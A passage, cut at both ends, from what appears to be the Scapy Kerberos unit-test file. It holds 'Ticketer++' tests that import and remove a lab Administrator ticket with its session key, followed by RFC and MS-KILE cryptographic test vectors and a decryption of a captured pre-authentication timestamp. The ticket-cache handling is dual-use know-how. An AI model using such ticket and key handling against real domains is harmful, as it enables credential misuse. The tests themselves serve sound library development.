43414ca38204cc308204c8a003020112a103020102a28204ba048204b6156ec9c868912ff7af63ced40bc8492a7a505250a0a93f2ba924f4634cf488dc6212994fdb4a95bc94169f3872c50a628f3ff25975c8e575b3c179364a62e3a6b38b514960eb9f04ecded7c173cf9aeb4ebe3b39e9c80c8acdd41ed26caae83881666a4304b42a37de4bb6bd40859fc9cffd5fb5821809da0319aa0b2a35b98a0a77df53a9b3d47ecaacc8acdf404ac7b16247dd94e15122b709d4a44da741f32fe05e6a77b74e6b63993b85aa004cd38714ed48399f75a5f0c140a8555b6cc043b3226cd58f74eb70921220a0e906b5a8292e589d38685e6782abc4d159822787e9f43194e11e27a514c62dbcd71f8349dd6d556814ea77687c46e2238bc061671d68ef1d3e3091a736ddad27eec84fc2b41b115c18b02f92828311950564661f3023c73d75a6b20aaa223bdeace648e815ab8ffaf943cadd4113f456960f8a903dceeea0f59826299c752287c1ecd188a4c83adbc3054ba4f4b91537710bc8c242d8820dd62a46c48a81619abb959f9eb8db5ba64ad5121ace5cee443dbcc7a25b8dd0fede9d77b1051a8c96a39c852402bd020052df0780eea63f4b6b8b2c7f63749602fcc92d123d5e2c1a85339d942bff57939967b99e159901b1efb05da164736329dc8fdce78a3bb1e0f449627870380bc4d28de38ab11bca95d6317fa64f33a7be46be25cd560425b0b1b1b7d0b6873fe44d2d41db26f2c2ddd6dc5b0f707f12fa60d1e65516c120dd2adc2ac9f7ad35986f34f050ccc08611a0641f62adafdd68e206730a8b484352bb99334796a0212b683a6fca76bf7fc57e264ecb5ff8d7ed76163f7554c112d6666b885eecc6c10257d7e481544c81df7f4f5878aab1936ecff57830335c1b37a20f32a63303be325e3fa54c1f7561663925230fe40f386f63457e98f5a5fe92b6241262fa9783c60d1195b3124ae3642c7c3c9f9bd6f4b1d5220e4fff22c6c2eb4f5cf4d08b5359e77b608f6a2962050a039280e98cecf5e5bb613b7e18ca557103b30ab4a31fcdda26a1fec01653569295351faa0c8dfafcc77bf745507031d10c3ddefdde29aee9f932e1126527f2b47209a83aa20bcfab1ca9a176f52eaaf08948deacf9981979c422a82fdc23473763ca6571b50702bb13d67c7fdddc4dbe320e47cc75f7c12fa3f7eb39bfde9995c2984ed8f4de09786d4745281a58f4750f9752ba3040c16ff8e4a0bcaf4216f4261df823e0cf7d1d8319cc546de50fbc53e78bed55feadcd86cd088d9c74b76c7db6768a1c3cad159d8f928a0c6f7d084f3ef2e1e77dd3ebbc32149ac582fb443deeb865e781eee59bb8241239369b229d53d6dce6b40a4722504097cfc73f93ed3bb7d6a52e2f47a7bd3e330268122fc02d21d400f1f1292c32cdd0f0d748ff5941a98eb048e7e645141b09c55fb266c086b1765ec90032443c5f99fc8fff9d2e9561f1b70f30369d4e818a879f6eacb357c44d1411008b7706b4adf02a5b5471069f2b2f5fe3c292a7e2d00d8570b1755b6349582eeafc45be4b352d10bb8e2914016489fa6d427d8bd45abd67bc88612ce6a45a46a5aede05743b79196f84fc37455968f8b1095ec48897f671f375d1d1e5296aa7831d4148a270ef6496bfa98dccfbddeef5f9166d83bbd1caf5e7d93f981e70e3df067437f6fe1925a26c9b078e76aebc05b50ac613ebba3012d57d711d8dc60e7ceba68201723082016ea003020112a103020101a28201600482015c3c1e391355e9dbd061b723b597afd5a10aff251e65b58295729849c5160e11987ae9aec03c1aa5d9c26906479cabab031740eea870f7bb5423f1936f0ed2aed1fa6dfcd9d6ba373220c65635b2d52c00fe5f73c8ed5a3857e135d6eb10a8ffd47653abb60b8b93d7947e4b5d2cff7fa1374958b928affba651a5f6b34dcab3c3297919c181fc2807e8cb353fb8a6ebeacd2020cdd327ab3e53045f242c493f88aecf82ff05051789baa551a93d2aaf9fc1596a33ea1f8d54b557f74747918c2f970040e2ed9cbdf52c172e0a87e5e795ce6c80705cc2bfaa156b5998e481b2e57e7ff0d1501ff5aa3a7cbad586ca0250181d7fd2d0f7b755b5bf202d1bff510dacccea27bc6f608a91919e3a4dfa5d2f621b0721f8e44d3741336603654eab1e2dcabbe8517545542944646b5867153d7ba7212de28ddb6be1e1166acaee7715df82273ff6ea62f33337a7f4250a3d0812fa5b57c7164a2ec651e15a')),\n    sessionkey=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, bytes.fromhex('1051fc76a7a5bf42d2a35dae808c74cbd7c5d7c3bca8dba775db8426058ecb62')),\n    kdcrep=EncASRepPart(bytes.fromhex('7982013c30820138a02b3029a003020112a12204201051fc76a7a5bf42d2a35dae808c74cbd7c5d7c3bca8dba775db8426058ecb62a11c301a3018a003020100a111180f32303236303232353232333731315aa20602043328586ba311180f32313030303931343032343830355aa40703050040e10000a511180f32303236303232353232333731315aa611180f32303236303232353232333731315aa711180f32303236303232363038333731315aa811180f32303236303232363038333731325aa90e1b0c444f4d41494e2e4c4f43414caa21301fa003020102a11830161b066b72627467741b0c444f4d41494e2e4c4f43414cab1d301b3019a003020114a112041057494e31302020202020202020202020ac2930273015a104020200a7a20d040b3009a00703050080000000300ea104020200a5a206040400000500')),\n    upn='Administrator@DOMAIN.LOCAL',\n    pa_type=138,\n)\nt.import_krb(asrep)\n\n= Ticketer++ - Real example - Check X-CACHECONF\n\nxcacheconfs = t.get_krb_xcacheopts(0)\n\nassert len(xcacheconfs) == 2\nassert all(x.client.toPN() == 'Administrator@DOMAIN.LOCAL' for x in xcacheconfs)\nassert all(x.server.components[0].data == b\"krb5_ccache_conf_data\" for x in xcacheconfs)\nassert all(x.server.components[2].data == b'krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL' for x in xcacheconfs)\nassert xcacheconfs[0].server.components[1].data == b\"pa_type\"\nassert xcacheconfs[1].server.components[1].data == b\"fast_avail\"\nassert xcacheconfs[0].ticket.data == b'138'\nassert xcacheconfs[1].ticket.data == b'yes'\n\n= Ticketer++ - Real example - Check primary_principal\n\nassert t.ccache.primary_principal.toPN() == 'Administrator@DOMAIN.LOCAL'\nassert t.ccache.primary_principal.name_type == 1\n\n= Ticketer++ - Real example - Check iter_tickets\n\nassert len(list(t.iter_tickets())) == 1\nassert len(t.ccache.credentials) == 3\n\n= Ticketer++ - Real example - Test remove_krb\n\nt.remove_krb(0)\nassert len(t.ccache.credentials) == 0\n\n+ Crypto tests\n\n= RFC3691 - Test vectors for KRB-FX-CF2\n\n# https://datatracker.ietf.org/doc/html/rfc6113.html#appendix-A\n\nfrom scapy.libs.rfc3961 import Key, EncryptionType, KRB_FX_CF2\n\ndef test_krb_fx_cf2(etype):\n    k1 = Key.string_to_key(etype, b\"key1\", b\"key1\")\n    k2 = Key.string_to_key(etype, b\"key2\", b\"key2\")\n    return KRB_FX_CF2(k1, k2, b\"a\", b\"b\").key.hex()\n\nassert test_krb_fx_cf2(EncryptionType.AES128_CTS_HMAC_SHA1_96) == \"97df97e4b798b29eb31ed7280287a92a\"\nassert test_krb_fx_cf2(EncryptionType.AES256_CTS_HMAC_SHA1_96) == \"4d6ca4e629785c1f01baf55e2e548566b9617ae3a96868c337cb93b5e72b1c7b\"\nassert test_krb_fx_cf2(EncryptionType.RC4_HMAC) == '24d7f6b6bae4e5c00d2082c5ebab3672'\n\n= RFC3691 - Test vectors for _n_fold\n\nfrom scapy.libs.rfc3961 import _n_fold\n\n# https://datatracker.ietf.org/doc/html/rfc3961.html#appendix-A.1\n\nassert _n_fold(b\"012345\", 8).hex() == \"be072631276b1955\"\nassert _n_fold(b\"password\", 7).hex() == \"78a07b6caf85fa\"\nassert _n_fold(b\"Rough Consensus, and Running Code\", 8).hex() == \"bb6ed30870b7f0e0\"\nassert _n_fold(b\"password\", 21).hex() == \"59e4a8ca7c0385c3c37b3f6d2000247cb6e6bd5b3e\"\nassert _n_fold(b\"MASSACHVSETTS INSTITVTE OF TECHNOLOGY\", 24).hex() == \"db3b0d8f0b061e603282b308a50841229ad798fab9540c1b\"\nassert _n_fold(b\"Q\", 21).hex() == \"518a54a215a8452a518a54a215a8452a518a54a215\"\nassert _n_fold(b\"ba\", 21).hex() == \"fb25d531ae8974499f52fd92ea9857c4ba24cf297e\"\n\n\n= RFC3691 - Test vectors for mit_des_string_to_key\n\n# https://datatracker.ietf.org/doc/html/rfc3961.html#appendix-A.2\n\nfrom scapy.libs.rfc3961 import Key, EncryptionType\n\ndef _mit_des_string_to_key(text, salt):\n    k = Key.string_to_key(EncryptionType.DES_CBC_MD5, text, salt)\n    return k.key.hex()\n\nassert _mit_des_string_to_key(b\"password\", b\"ATHENA.MIT.EDUraeburn\") == \"cbc22fae235298e3\"\nassert _mit_des_string_to_key(b\"potatoe\", b\"WHITEHOUSE.GOVdanny\") == \"df3d32a74fd92a01\"\nassert _mit_des_string_to_key((u\"\\U0001d11e\").encode(), b\"EXAMPLE.COMpianist\") == \"4ffb26bab0cd9413\"\nassert _mit_des_string_to_key((u\"\\xdf\").encode(), (u\"ATHENA.MIT.EDUJuri\\u0161i\\u0107\").encode()) == \"62c81a5232b5e69d\"\nassert _mit_des_string_to_key(b\"11119999\", b\"AAAAAAAA\") == \"984054d0f1a73e31\"\nassert _mit_des_string_to_key(b\"NNNN6666\", b\"FFFFAAAA\") == \"c4bf6b25adf7a4f8\"\n\n= RFC3691 - Test vectors for DES3\n\n# https://datatracker.ietf.org/doc/html/rfc3961.html#appendix-A.4\n\ndef _des3_string_to_key(text, salt):\n    k = Key.string_to_key(EncryptionType.DES3_CBC_SHA1_KD, text, salt)\n    return k.key.hex()\n\nassert _des3_string_to_key(b\"password\", b\"ATHENA.MIT.EDUraeburn\") == \"850bb51358548cd05e86768c313e3bfef7511937dcf72c3e\"\nassert _des3_string_to_key(b\"potatoe\", b\"WHITEHOUSE.GOVdanny\") == \"dfcd233dd0a43204ea6dc437fb15e061b02979c1f74f377a\"\nassert _des3_string_to_key(b\"penny\", b\"EXAMPLE.COMbuckaroo\") == \"6d2fcdf2d6fbbc3ddcadb5da5710a23489b0d3b69d5d9d4a\"\nassert _des3_string_to_key((u\"\\xdf\").encode(), (u\"ATHENA.MIT.EDUJuri\\u0161i\\u0107\").encode()) == \"16d5a40e1ce3bacb61b9dce00470324c831973a7b952feb0\"\nassert _des3_string_to_key((u\"\\U0001d11e\").encode(), b\"EXAMPLE.COMpianist\") == \"85763726585dbc1cce6ec43e1f751f07f1c4cbb098f40b19\"\n\n\n= RFC3692 - Test vectors for AES\n\nfrom scapy.libs.rfc3961 import Key, EncryptionType\n\n# https://datatracker.ietf.org/doc/html/rfc3962#appendix-B\n\n# Iteration count = 1200\n# Pass phrase = \"password\"\n# Salt = \"ATHENA.MIT.EDUraeburn\"\n\nk = Key.string_to_key(EncryptionType.AES128_CTS_HMAC_SHA1_96, b\"password\", b\"ATHENA.MIT.EDUraeburn\", struct.pack(\">L\", 1200))\nassert k.key.hex() == \"4c01cd46d632d01e6dbe230a01ed642a\"\n\n# Iteration count = 1200\n# Pass phrase = (65 characters)\n#   \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n# Salt = \"pass phrase exceeds block size\"\n\nk = Key.string_to_key(EncryptionType.AES256_CTS_HMAC_SHA1_96, b\"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\", b\"pass phrase exceeds block size\", struct.pack(\">L\", 1200))\nassert k.key.hex() == \"d78c5c9cb872a8c9dad4697f0bb5b2d21496c82beb2caeda2112fceea057401b\"\n\n= RFC8009 - Test vectors for AES-CTS HMAC-SHA2 - Sample results for string-to-key conversion\n\nfrom scapy.libs.rfc3961 import Key, EncryptionType\n\n# https://datatracker.ietf.org/doc/html/rfc8009#appendix-A\n\n# Iteration count = 32768\n# Pass phrase = \"password\"\n# Salt = 10df9dd783e5bc8acea1730e74355f61 + \"ATHENA.MIT.EDUraeburn\"\n\nk = Key.string_to_key(EncryptionType.AES128_CTS_HMAC_SHA256_128, b\"password\", b\"\\x10\\xdf\\x9d\\xd7\\x83\\xe5\\xbc\\x8a\\xce\\xa1s\\x0et5_aATHENA.MIT.EDUraeburn\")\nassert k.key.hex() == '089bca48b105ea6ea77ca5d2f39dc5e7'\n\n# Iteration count = 32768\n# Pass phrase = \"password\"\n# Salt = 10df9dd783e5bc8acea1730e74355f61 + \"ATHENA.MIT.EDUraeburn\"\n\nk = Key.string_to_key(EncryptionType.AES256_CTS_HMAC_SHA384_192, b\"password\", b\"\\x10\\xdf\\x9d\\xd7\\x83\\xe5\\xbc\\x8a\\xce\\xa1s\\x0et5_aATHENA.MIT.EDUraeburn\")\nassert k.key.hex() == '45bd806dbf6a833a9cffc1c94589a222367a79bc21c413718906e9f578a78467'\n\n= RFC8009 - Test vectors for AES-CTS HMAC-SHA2 - Sample results for key derivation\n\n# enctype aes128-cts-hmac-sha256-128:\n# 128-bit base-key: 3705D96080C17728A0E800EAB6E0D23C\n\nfrom scapy.libs.rfc3961 import _AES128CTS_SHA256_128\n\nk = Key(EncryptionType.AES128_CTS_HMAC_SHA256_128, key=bytes.fromhex(\"3705D96080C17728A0E800EAB6E0D23C\"))\n\n# Kc value for key usage 2 (label = 0x0000000299):\nkc = _AES128CTS_SHA256_128.derive(k, struct.pack(\">IB\", 2, 0x99), 128)\nassert kc.hex() == 'b31a018a48f54776f403e9a396325dc3'\n\n# Ke value for key usage 2 (label = 0x00000002AA):\nke = _AES128CTS_SHA256_128.derive(k, struct.pack(\">IB\", 2, 0xAA), 128)\nassert ke.hex() == '9b197dd1e8c5609d6e67c3e37c62c72e'\n\n# Ki value for key usage 2 (label = 0x0000000255):\nki = _AES128CTS_SHA256_128.derive(k, struct.pack(\">IB\", 2, 0x55), 128)\nassert ki.hex() == '9fda0e56ab2d85e1569a688696c26a6c'\n\n# enctype aes256-cts-hmac-sha384-192:\n# 256-bit base-key: 6D404D37FAF79F9DF0D33568D320669800EB4836472EA8A026D16B7182460C52\n\nfrom scapy.libs.rfc3961 import _AES256CTS_SHA384_192\n\nk = Key(EncryptionType.AES256_CTS_HMAC_SHA384_192, key=bytes.fromhex(\"6D404D37FAF79F9DF0D33568D320669800EB4836472EA8A026D16B7182460C52\"))\n\n# Kc value for key usage 2 (label = 0x0000000299):\nkc = _AES256CTS_SHA384_192.derive(k, struct.pack(\">IB\", 2, 0x99), 192)\nassert kc.hex() == 'ef5718be86cc84963d8bbb5031e9f5c4ba41f28faf69e73d'\n\n# Ke value for key usage 2 (label = 0x00000002AA):\nke = _AES256CTS_SHA384_192.derive(k, struct.pack(\">IB\", 2, 0xAA), 256)\nassert ke.hex() == '56ab22bee63d82d7bc5227f6773f8ea7a5eb1c825160c38312980c442e5c7e49'\n\n# Ki value for key usage 2 (label = 0x0000000255):\nki = _AES256CTS_SHA384_192.derive(k, struct.pack(\">IB\", 2, 0x55), 192)\nassert ki.hex() == '69b16514e3cd8e56b82010d5c73012b622c4d00ffc23ed1f'\n\n= RFC8009 - Test vectors for AES-CTS HMAC-SHA2 - Sample encryptions and decryptions\n\n# enctype aes128-cts-hmac-sha256-128:\n\nk = Key(EncryptionType.AES128_CTS_HMAC_SHA256_128, key=bytes.fromhex(\"3705D96080C17728A0E800EAB6E0D23C\"))\n\n# Plaintext: (empty)\n# Confounder: 7E5895EAF2672435BAD817F545A37148\n\nc = k.encrypt(2, b\"\", confounder=bytes.fromhex(\"7E5895EAF2672435BAD817F545A37148\"))\nassert c.hex() == \"ef85fb890bb8472f4dab20394dca781dad877eda39d50c870c0d5a0a8e48c718\"\nassert k.decrypt(2, c) == b\"\"\n\n# Plaintext: 000102030405\n# Confounder: 7BCA285E2FD4130FB55B1A5C83BC5B24\n\nc = k.encrypt(2, bytes.fromhex(\"000102030405\"), confounder=bytes.fromhex(\"7BCA285E2FD4130FB55B1A5C83BC5B24\"))\nassert c.hex() == \"84d7f30754ed987bab0bf3506beb09cfb55402cef7e6877ce99e247e52d16ed4421dfdf8976c\"\nassert k.decrypt(2, c).hex() == \"000102030405\".lower()\n\n# Plaintext: 000102030405060708090A0B0C0D0E0F\n# Confounder: 56AB21713FF62C0A1457200F6FA9948F\n\nc = k.encrypt(2, bytes.fromhex(\"000102030405060708090A0B0C0D0E0F\"), confounder=bytes.fromhex(\"56AB21713FF62C0A1457200F6FA9948F\"))\nassert c.hex() == \"3517d640f50ddc8ad3628722b3569d2ae07493fa8263254080ea65c1008e8fc295fb4852e7d83e1e7c48c37eebe6b0d3\"\nassert k.decrypt(2, c).hex() == \"000102030405060708090A0B0C0D0E0F\".lower()\n\n# Plaintext: 000102030405060708090A0B0C0D0E0F1011121314\n# Confounder: A7A4E29A4728CE10664FB64E49AD3FAC\n\nc = k.encrypt(2, bytes.fromhex(\"000102030405060708090A0B0C0D0E0F1011121314\"), confounder=bytes.fromhex(\"A7A4E29A4728CE10664FB64E49AD3FAC\"))\nassert c.hex() == \"720f73b18d9859cd6ccb4346115cd336c70f58edc0c4437c5573544c31c813bce1e6d072c186b39a413c2f92ca9b8334a287ffcbfc\"\nassert k.decrypt(2, c).hex() == \"000102030405060708090A0B0C0D0E0F1011121314\".lower()\n\n# aes256-cts-hmac-sha384-192:\n\nk = Key(EncryptionType.AES256_CTS_HMAC_SHA384_192, key=bytes.fromhex(\"6D404D37FAF79F9DF0D33568D320669800EB4836472EA8A026D16B7182460C52\"))\n\n# Plaintext: (empty)\n# Confounder: F764E9FA15C276478B2C7D0C4E5F58E4\n\nc = k.encrypt(2, b\"\", confounder=bytes.fromhex(\"F764E9FA15C276478B2C7D0C4E5F58E4\"))\nassert c.hex() == \"41f53fa5bfe7026d91faf9be959195a058707273a96a40f0a01960621ac612748b9bbfbe7eb4ce3c\"\nassert k.decrypt(2, c) == b\"\"\n\n# Plaintext: 000102030405\n# Confounder: B80D3251C1F6471494256FFE712D0B9A\n\nc = k.encrypt(2, bytes.fromhex(\"000102030405\"), confounder=bytes.fromhex(\"B80D3251C1F6471494256FFE712D0B9A\"))\nassert c.hex() == \"4ed7b37c2bcac8f74f23c1cf07e62bc7b75fb3f637b9f559c7f664f69eab7b6092237526ea0d1f61cb20d69d10f2\"\nassert k.decrypt(2, c).hex() == \"000102030405\".lower()\n\n# Plaintext: 000102030405060708090A0B0C0D0E0F\n# Confounder: 53BF8A0D105265D4E276428624CE5E63\n\nc = k.encrypt(2, bytes.fromhex(\"000102030405060708090A0B0C0D0E0F\"), confounder=bytes.fromhex(\"53BF8A0D105265D4E276428624CE5E63\"))\nassert c.hex() == \"bc47ffec7998eb91e8115cf8d19dac4bbbe2e163e87dd37f49beca92027764f68cf51f14d798c2273f35df574d1f932e40c4ff255b36a266\"\nassert k.decrypt(2, c).hex() == \"000102030405060708090A0B0C0D0E0F\".lower()\n\n# Plaintext: 000102030405060708090A0B0C0D0E0F1011121314\n# Confounder: 763E65367E864F02F55153C7E3B58AF1\n\nc = k.encrypt(2, bytes.fromhex(\"000102030405060708090A0B0C0D0E0F1011121314\"), confounder=bytes.fromhex(\"763E65367E864F02F55153C7E3B58AF1\"))\nassert c.hex() == \"40013e2df58e8751957d2878bcd2d6fe101ccfd556cb1eae79db3c3ee86429f2b2a602ac86fef6ecb647d6295fae077a1feb517508d2c16b4192e01f62\"\nassert k.decrypt(2, c).hex() == \"000102030405060708090A0B0C0D0E0F1011121314\".lower()\n\n= RFC8009 - Test vectors for AES-CTS HMAC-SHA2 - Sample checksums\n\n# Checksum type: hmac-sha256-128-aes128\n\nk = Key(EncryptionType.AES128_CTS_HMAC_SHA256_128, key=bytes.fromhex(\"3705D96080C17728A0E800EAB6E0D23C\"))\ncksum = k.make_checksum(2, bytes.fromhex(\"000102030405060708090A0B0C0D0E0F1011121314\"))\nassert cksum.hex() == \"d78367186643d67b411cba9139fc1dee\"\n\n# Checksum type: hmac-sha384-192-aes256\n\nk = Key(EncryptionType.AES256_CTS_HMAC_SHA384_192, key=bytes.fromhex(\"6D404D37FAF79F9DF0D33568D320669800EB4836472EA8A026D16B7182460C52\"))\ncksum = k.make_checksum(2, bytes.fromhex(\"000102030405060708090A0B0C0D0E0F1011121314\"))\nassert cksum.hex() == \"45ee791567eefca37f4ac1e0222de80d43c3bfa06699672a\"\n\n= RFC8009 - Test vectors for AES-CTS HMAC-SHA2 - Sample pseudorandom function (PRF) invocations\n\n# enctype aes128-cts-hmac-sha256-128:\n\nk = Key(EncryptionType.AES128_CTS_HMAC_SHA256_128, key=bytes.fromhex(\"3705D96080C17728A0E800EAB6E0D23C\"))\nout = k.prf(b\"test\")\nassert out.hex() == \"9d188616f63852fe86915bb840b4a886ff3e6bb0f819b49b893393d393854295\"\n\n# enctype aes256-cts-hmac-sha384-192:\n\nk = Key(EncryptionType.AES256_CTS_HMAC_SHA384_192, key=bytes.fromhex(\"6D404D37FAF79F9DF0D33568D320669800EB4836472EA8A026D16B7182460C52\"))\nout = k.prf(b\"test\")\nassert out.hex() == \"9801f69a368c2bf675e59521e177d9a07f67efe1cfde8d3c8d6f6a0256e3b17db3c1b62ad1b8553360d17367eb1514d2\"\n\n= Decrypt PA-ENC-TIMESTAMP\n\nfrom scapy.libs.rfc3961 import Key, EncryptionType\n\npkt = Ether(b\"RT\\x00iX\\x13RT\\x00!l+\\x08\\x00E\\x00\\x01]\\xa7\\x18@\\x00\\x80\\x06\\xdc\\x83\\xc0\\xa8z\\x9c\\xc0\\xa8z\\x11\\xc2\\t\\x00XT\\xf6\\xab#\\x92\\xc2[\\xd6P\\x18 \\x14\\xb6\\xe0\\x00\\x00\\x00\\x00\\x011j\\x82\\x01-0\\x82\\x01)\\xa1\\x03\\x02\\x01\\x05\\xa2\\x03\\x02\\x01\\n\\xa3c0a0L\\xa1\\x03\\x02\\x01\\x02\\xa2E\\x04C0A\\xa0\\x03\\x02\\x01\\x12\\xa2:\\x048HHM\\xec\\xb0\\x1c\\x9bb\\xa1\\xca\\xbf\\xbc?-\\x1e\\xd8Z\\xa5\\xe0\\x93\\xba\\x83X\\xa8\\xce\\xa3MC\\x93\\xaf\\x93\\xbf!\\x1e'O\\xa5\\x8e\\x81Hx\\xdb\\x9f\\rz(\\xd9Ns'f\\r\\xb4\\xf3pK0\\x11\\xa1\\x04\\x02\\x02\\x00\\x80\\xa2\\t\\x04\\x070\\x05\\xa0\\x03\\x01\\x01\\xff\\xa4\\x81\\xb70\\x81\\xb4\\xa0\\x07\\x03\\x05\\x00@\\x81\\x00\\x10\\xa1\\x120\\x10\\xa0\\x03\\x02\\x01\\x01\\xa1\\t0\\x07\\x1b\\x05win1$\\xa2\\x0e\\x1b\\x0cDOMAIN.LOCAL\\xa3!0\\x1f\\xa0\\x03\\x02\\x01\\x02\\xa1\\x180\\x16\\x1b\\x06krbtgt\\x1b\\x0cDOMAIN.LOCAL\\xa5\\x11\\x18\\x0f20370913024805Z\\xa6\\x11\\x18\\x0f20370913024805Z\\xa7\\x06\\x02\\x04p\\x1c\\xc5\\xd1\\xa8\\x150\\x13\\x02\\x01\\x12\\x02\\x01\\x11\\x02\\x01\\x17\\x02\\x01\\x18\\x02\\x02\\xffy\\x02\\x01\\x03\\xa9\\x1d0\\x1b0\\x19\\xa0\\x03\\x02\\x01\\x14\\xa1\\x12\\x04\\x10WIN1            \")\nenc = pkt[Kerberos].root.padata[0].padataValue\nk = Key(enc.etype.val, key=bytes.fromhex(\"7fada4e566ae4fb270e2800a23ae87127a819d42e69b5e22de0ddc63da80096d\"))\nts = enc.decrypt(k)\n\nassert ts.patimestamp == \"20220715171847Z\"\nts.pausec == 0x9a4db\n\n+ [MS-KILE] test vectors\n~ mock\n\n= [MS-KILE] RC4 GSS_WrapEx (RFC4757) test vectors (sect 4.5)\n\nfrom unittest import mock\nfrom scapy.libs.rfc3961 import Key, EncryptionType\n\nssp = KerberosSSP()\nctx = KerberosSSP.CONTEXT(IsAcceptor=False, req_flags=GSS_C_FLAGS.GSS_C_CONF_FLAG)\n\nctx.KrbSessionKey = Key(EncryptionType.RC4_HMAC, key=bytes.fromhex(\"81a2cb90af7fc2d19554a150d8185359\"))\nctx.SendSeqNum = 0x60cbacd3\nConfounder = bytes.fromhex(\"5256f3fb630cf12a\")\n\nwith mock.patch('scapy.layers.kerberos.os.urandom', side_effect=lambda x: Confounder):\n    _msgs, sig = ssp.GSS_WrapEx(\n        ctx,\n        [\n            SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=bytes.fromhex(\"112233445566778899aabbccddeeff\")),\n        ],\n    )\n\nassert isinstance(sig, KRB_GSSAPI_Token)\nassert sig.innerToken.TOK_ID == b\"\\x02\\x01\"\nassert sig.innerToken.root.SGN_ALG == 0x11\nassert sig.innerToken.root.SEAL_ALG == 0x10\n\nassert bytes(sig) == b'`+\\x06\\t*\\x86H\\x86\\xf7\\x12\\x01\\x02\\x02\\x02\\x01\\x11\\x00\\x10\\x00\\xff\\xff\\xe2\\x9e\\x8b\\xbccH\\xe7@\\xeb\\xaaa\\x92D\\xa1V\\xa1;\\\\\\xf6^<!\\xb9\\xaa'\n\n= [MS-KILE] RC4 GSS_UnwrapEx (RFC4757) test vectors (sect 4.5)\n\n_msgs = ssp.GSS_UnwrapEx(\n    ctx,\n    _msgs,\n    signature=sig,\n)\n\nassert _msgs[0].data.hex() == \"112233445566778899aabbccddeeff\"\n\n+ RFC4556 test vectors\n~ mock\n\n= RFC4556 Test Vectors - octetstring2key - Utils\n\nfrom scapy.libs.rfc3961 import EncryptionType, octetstring2key\n\ndef _strip(x):\n    return bytes.fromhex(x.replace(\" \", \"\").replace(\"\\n\", \"\"))\n\ndef _k_truncate_output(etype, input):\n    with mock.patch('scapy.libs.rfc3961.Key.random_to_key', side_effect=Bunch):\n        result = octetstring2key(EncryptionType.AES256_CTS_HMAC_SHA1_96, INPUT)\n    return result.seed\n\n= RFC4556 Test Vectors - octetstring2key - Set 1\n\nINPUT = _strip(\"\"\"\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n\"\"\")\n\nRESULT = _strip(\"\"\"\n5e e5 0d 67 5c 80 9f e5 9e 4a 77 62 c5 4b 65 83\n75 47 ea fb 15 9b d8 cd c7 5f fc a5 91 1e 4c 41\n\"\"\")\n\nhexdiff(_k_truncate_output(EncryptionType.AES256_CTS_HMAC_SHA1_96, INPUT), RESULT)\nassert _k_truncate_output(EncryptionType.AES256_CTS_HMAC_SHA1_96, INPUT) == RESULT\n\n= RFC4556 Test Vectors - octetstring2key - Set 2\n\nINPUT = _strip(\"\"\"\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n\"\"\")\n\nRESULT = _strip(\"\"\"\nac f7 70 7c 08 97 3d df db 27 cd 36 14 42 cc fb\na3 55 c8 88 4c b4 72 f3 7d a6 36 d0 7d 56 78 7e\n\"\"\")\n\nhexdiff(_k_truncate_output(EncryptionType.AES256_CTS_HMAC_SHA1_96, INPUT), RESULT)\nassert _k_truncate_output(EncryptionType.AES256_CTS_HMAC_SHA1_96, INPUT) == RESULT\n\n= RFC4556 Test Vectors - octetstring2key - Set 3\n\nINPUT = _strip(\"\"\"\n00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f\n10 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e\n0f 10 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d\n0e 0f 10 00 01 02 03 04 05 06 07 08 09 0a 0b 0c\n0d 0e 0f 10 00 01 02 03 04 05 06 07 08 09 0a 0b\n0c 0d 0e 0f 10 00 01 02 03 04 05 06 07 08 09 0a\n0b 0c 0d 0e 0f 10 00 01 02 03 04 05 06 07 08 09\n0a 0b 0c 0d 0e 0f 10 00 01 02 03 04 05 06 07 08\n\"\"\")\n\nRESULT = _strip(\"\"\"\nc4 42 da 58 5f cb 80 e4 3b 47 94 6f 25 40 93 e3\n73 29 d9 90 01 38 0d b7 83 71 db 3a cf 5c 79 7e\n\"\"\")\n\nhexdiff(_k_truncate_output(EncryptionType.AES256_CTS_HMAC_SHA1_96, INPUT), RESULT)\nassert _k_truncate_output(EncryptionType.AES256_CTS_HMAC_SHA1_96, INPUT) == RESULT\n\n= RFC4556 Test Vectors - octetstring2key - Set 4\n\nINPUT = _strip(\"\"\"\n00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f\n10 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e\n0f 10 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 